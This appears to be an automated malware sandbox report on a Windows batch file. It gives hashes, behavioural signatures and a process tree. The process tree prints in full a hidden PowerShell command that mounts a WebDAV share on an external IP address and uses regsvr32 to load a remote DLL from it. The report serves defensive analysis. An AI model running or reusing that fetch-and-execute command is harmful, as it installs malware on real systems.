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Analysis
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max time kernel
142s -
max time network
105s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
21/07/2024, 09:24
Static task
static1
Behavioral task
behavioral1
Sample
165004055327431571.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
165004055327431571.bat
Resource
win10v2004-20240709-en
General
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Target
165004055327431571.bat
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Size
9KB
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MD5
2a4981b86fd55d4b47a9d9e9214d9e44
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SHA1
058bc196f757cc02f24a8ac1463425b5c520a0a8
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SHA256
bbc65020fc7f7dbed857399bf79e4828c273c40b7ae449cc72b96700709909c5
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SHA512
bcb4ffab0b4f2ec06b8def21472a27c0ccb7125e6a11fb6c62a7885b53bf0b1cb92b0c917255ef023adcfc417e106e01e8c4fecd130f20d28cac5cf6cefa7bf9
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SSDEEP
192:u8lDhNBsnn+wcaNBshegcCgpyyU8S+D8XzswwwkcQSMWoBl0Jk8By0oH2V6AJu1w:uwB0r6yqaWrlBH+wukX
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1408 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1408 powershell.exe 1408 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1408 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1836 wordpad.exe 1836 wordpad.exe 1836 wordpad.exe 1836 wordpad.exe 1836 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2700 wrote to memory of 1836 2700 cmd.exe 85 PID 2700 wrote to memory of 1836 2700 cmd.exe 85 PID 2700 wrote to memory of 1408 2700 cmd.exe 88 PID 2700 wrote to memory of 1408 2700 cmd.exe 88 PID 1408 wrote to memory of 688 1408 powershell.exe 90 PID 1408 wrote to memory of 688 1408 powershell.exe 90 PID 1408 wrote to memory of 3952 1408 powershell.exe 91 PID 1408 wrote to memory of 3952 1408 powershell.exe 91
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\165004055327431571.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:688
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll3⤵PID:3952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3880
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82